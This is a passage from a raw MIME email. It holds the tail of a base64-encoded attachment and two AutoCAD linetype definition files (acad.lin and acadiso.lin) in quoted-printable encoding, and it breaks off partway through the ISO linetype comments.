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
FIV2f//Z

------=_NextPart_000_0298_01C3D91A.563B74A0
Content-Type: application/octet-stream;
	name="acad.lin"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
	filename="acad.lin"

;;
;;  AutoCAD Linetype Definition file
;;  Version 2.0
;;  Copyright 1991, 1992, 1993, 1994, 1996 by Autodesk, Inc.
;;
*BORDER,Border __ __ . __ __ . __ __ . __ __ . __ __ .
A,.5,-.25,.5,-.25,0,-.25
*BORDER2,Border (.5x) __.__.__.__.__.__.__.__.__.__.__.
A,.25,-.125,.25,-.125,0,-.125
*BORDERX2,Border (2x) ____  ____  .  ____  ____  .  ___
A,1.0,-.5,1.0,-.5,0,-.5

*CENTER,Center ____ _ ____ _ ____ _ ____ _ ____ _ ____
A,1.25,-.25,.25,-.25
*CENTER2,Center (.5x) ___ _ ___ _ ___ _ ___ _ ___ _ ___
A,.75,-.125,.125,-.125
*CENTERX2,Center (2x) ________  __  ________  __  _____
A,2.5,-.5,.5,-.5

*DASHDOT,Dash dot __ . __ . __ . __ . __ . __ . __ . __
A,.5,-.25,0,-.25
*DASHDOT2,Dash dot (.5x) _._._._._._._._._._._._._._._.
A,.25,-.125,0,-.125
*DASHDOTX2,Dash dot (2x) ____  .  ____  .  ____  .  ___
A,1.0,-.5,0,-.5

*DASHED,Dashed __ __ __ __ __ __ __ __ __ __ __ __ __ _
A,.5,-.25
*DASHED2,Dashed (.5x) _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _=20
A,.25,-.125
*DASHEDX2,Dashed (2x) ____  ____  ____  ____  ____  ___
A,1.0,-.5

*DIVIDE,Divide ____ . . ____ . . ____ . . ____ . . ____
A,.5,-.25,0,-.25,0,-.25
*DIVIDE2,Divide (.5x) __..__..__..__..__..__..__..__.._
A,.25,-.125,0,-.125,0,-.125
*DIVIDEX2,Divide (2x) ________  .  .  ________  .  .  _
A,1.0,-.5,0,-.5,0,-.5

*DOT,Dot . . . . . . . . . . . . . . . . . . . . . . . .
A,0,-.25
*DOT2,Dot (.5x) ........................................
A,0,-.125
*DOTX2,Dot (2x) .  .  .  .  .  .  .  .  .  .  .  .  .  .
A,0,-.5

*HIDDEN,Hidden __ __ __ __ __ __ __ __ __ __ __ __ __ __
A,.25,-.125
*HIDDEN2,Hidden (.5x) _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _=20
A,.125,-.0625
*HIDDENX2,Hidden (2x) ____ ____ ____ ____ ____ ____ ____=20
A,.5,-.25

*PHANTOM,Phantom ______  __  __  ______  __  __  ______=20
A,1.25,-.25,.25,-.25,.25,-.25
*PHANTOM2,Phantom (.5x) ___ _ _ ___ _ _ ___ _ _ ___ _ _
A,.625,-.125,.125,-.125,.125,-.125
*PHANTOMX2,Phantom (2x) ____________    ____    ____   _
A,2.5,-.5,.5,-.5,.5,-.5

;;
;;  ISO 128 (ISO/DIS 12011) linetypes
;;
;;  The size of the line segments for each defined ISO line, is=20
;;  defined for an usage with a pen width of 1 mm. To use them with=20
;;  the other ISO predefined pen widths, the line has to be scaled=20
;;  with the appropriate value (e.g. pen width 0,5 mm -> ltscale 0.5).
;;
*ACAD_ISO02W100,ISO dash __ __ __ __ __ __ __ __ __ __ __ __ __
A,12,-3
*ACAD_ISO03W100,ISO dash space __    __    __    __    __    __
A,12,-18
*ACAD_ISO04W100,ISO long-dash dot ____ . ____ . ____ . ____ . _
A,24,-3,0,-3
*ACAD_ISO05W100,ISO long-dash double-dot ____ .. ____ .. ____ .=20
A,24,-3,0,-3,0,-3
*ACAD_ISO06W100,ISO long-dash triple-dot ____ ... ____ ... ____
A,24,-3,0,-3,0,-3,0,-3
*ACAD_ISO07W100,ISO dot . . . . . . . . . . . . . . . . . . . .=20
A,0,-3
*ACAD_ISO08W100,ISO long-dash short-dash ____ __ ____ __ ____ _
A,24,-3,6,-3
*ACAD_ISO09W100,ISO long-dash double-short-dash ____ __ __ ____
A,24,-3,6,-3,6,-3
*ACAD_ISO10W100,ISO dash dot __ . __ . __ . __ . __ . __ . __ .=20
A,12,-3,0,-3
*ACAD_ISO11W100,ISO double-dash dot __ __ . __ __ . __ __ . __ _
A,12,-3,12,-3,0,-3
*ACAD_ISO12W100,ISO dash double-dot __ . . __ . . __ . . __ . .=20
A,12,-3,0,-3,0,-3
*ACAD_ISO13W100,ISO double-dash double-dot __ __ . . __ __ . . _
A,12,-3,12,-3,0,-3,0,-3
*ACAD_ISO14W100,ISO dash triple-dot __ . . . __ . . . __ . . . _
A,12,-3,0,-3,0,-3,0,-3
*ACAD_ISO15W100,ISO double-dash triple-dot __ __ . . . __ __ . .
A,12,-3,12,-3,0,-3,0,-3,0,-3

;;  Complex linetypes
;;
;;  Complex linetypes have been added to this file.
;;  These linetypes were defined in LTYPESHP.LIN in
;;  Release 13, and are incorporated in ACAD.LIN in
;;  Release 14.
;; =20
;;  These linetype definitions use LTYPESHP.SHX.
;;
*FENCELINE1,Fenceline circle ----0-----0----0-----0----0-----0--
A,.25,-.1,[CIRC1,ltypeshp.shx,x=3D-.1,s=3D.1],-.1,1
*FENCELINE2,Fenceline square ----[]-----[]----[]-----[]----[]---
A,.25,-.1,[BOX,ltypeshp.shx,x=3D-.1,s=3D.1],-.1,1
*TRACKS,Tracks -|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-
A,.15,[TRACK1,ltypeshp.shx,s=3D.25],.15
*BATTING,Batting SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS
A,.0001,-.1,[BAT,ltypeshp.shx,x=3D-.1,s=3D.1],-.2,[BAT,ltypeshp.shx,r=3D1=
80,x=3D.1,s=3D.1],-.1
*HOT_WATER_SUPPLY,Hot water supply ---- HW ---- HW ---- HW ----
A,.5,-.2,["HW",STANDARD,S=3D.1,R=3D0.0,X=3D-0.1,Y=3D-.05],-.2
*GAS_LINE,Gas line ----GAS----GAS----GAS----GAS----GAS----GAS--
A,.5,-.2,["GAS",STANDARD,S=3D.1,R=3D0.0,X=3D-0.1,Y=3D-.05],-.25
*ZIGZAG,Zig zag /\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/
A,.0001,-.2,[ZIG,ltypeshp.shx,x=3D-.2,s=3D.2],-.4,[ZIG,ltypeshp.shx,r=3D1=
80,x=3D.2,s=3D.2],-.2



------=_NextPart_000_0298_01C3D91A.563B74A0
Content-Type: application/octet-stream;
	name="acadiso.lin"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
	filename="acadiso.lin"

;;
;;  AutoCAD ISO Linetype file
;;  Version 1.0
;;  Copyright (C) 1996 by Autodesk, Inc.
;;
;;  customized for ISO scaling
;;
*BORDER,Border __ __ . __ __ . __ __ . __ __ . __ __ .
A, 12.7, -6.35, 12.7, -6.35, 0, -6.35=20
*BORDER2,Border (.5x) __.__.__.__.__.__.__.__.__.__.__.
A, 6.35, -3.175, 6.35, -3.175, 0, -3.175=20
*BORDERX2,Border (2x) ____  ____  .  ____  ____  .  ___
A, 25.4, -12.7, 25.4, -12.7, 0, -12.7=20

*CENTER,Center ____ _ ____ _ ____ _ ____ _ ____ _ ____
A, 31.75, -6.35, 6.35, -6.35=20
*CENTER2,Center (.5x) ___ _ ___ _ ___ _ ___ _ ___ _ ___
A, 19.05, -3.175, 3.175, -3.175=20
*CENTERX2,Center (2x) ________  __  ________  __  _____
A, 63.5, -12.7, 12.7, -12.7=20

*DASHDOT,Dash dot __ . __ . __ . __ . __ . __ . __ . __
A, 12.7, -6.35, 0, -6.35=20
*DASHDOT2,Dash dot (.5x) _._._._._._._._._._._._._._._.
A, 6.35, -3.175, 0, -3.175=20
*DASHDOTX2,Dash dot (2x) ____  .  ____  .  ____  .  ___
A, 25.4, -12.7, 0, -12.7=20

*DASHED,Dashed __ __ __ __ __ __ __ __ __ __ __ __ __ _
A, 12.7, -6.35=20
*DASHED2,Dashed (.5x) _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _=20
A, 6.35, -3.175=20
*DASHEDX2,Dashed (2x) ____  ____  ____  ____  ____  ___
A, 25.4, -12.7=20

*DIVIDE,Divide ____ . . ____ . . ____ . . ____ . . ____
A, 12.7, -6.35, 0, -6.35, 0, -6.35=20
*DIVIDE2,Divide (.5x) __..__..__..__..__..__..__..__.._
A, 6.35, -3.175, 0, -3.175, 0, -3.175=20
*DIVIDEX2,Divide (2x) ________  .  .  ________  .  .  _
A, 25.4, -12.7, 0, -12.7, 0, -12.7=20

*DOT,Dot . . . . . . . . . . . . . . . . . . . . . . . .
A, 0, -6.35=20
*DOT2,Dot (.5x) ........................................
A, 0, -3.175=20
*DOTX2,Dot (2x) .  .  .  .  .  .  .  .  .  .  .  .  .  .
A, 0, -12.7=20

*HIDDEN,Hidden __ __ __ __ __ __ __ __ __ __ __ __ __ __
A, 6.35, -3.175=20
*HIDDEN2,Hidden (.5x) _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _=20
A, 3.175, -1.5875=20
*HIDDENX2,Hidden (2x) ____ ____ ____ ____ ____ ____ ____=20
A, 12.7, -6.35=20

*PHANTOM,Phantom ______  __  __  ______  __  __  ______=20
A, 31.75, -6.35, 6.35, -6.35, 6.35, -6.35=20
*PHANTOM2,Phantom (.5x) ___ _ _ ___ _ _ ___ _ _ ___ _ _
A, 15.875, -3.175, 3.175, -3.175, 3.175, -3.175=20
*PHANTOMX2,Phantom (2x) ____________    ____    ____   _
A, 63.5, -12.7, 12.7, -12.7, 12.7, -12.7=20

;;
;;  ISO 128 (ISO/DIS 12011) linetypes have been added.=20
;;
;;  The size of the line segments for each defined ISO line, is=20
;;  defined for an usage with a pen width of 1 mm. To use them with=20
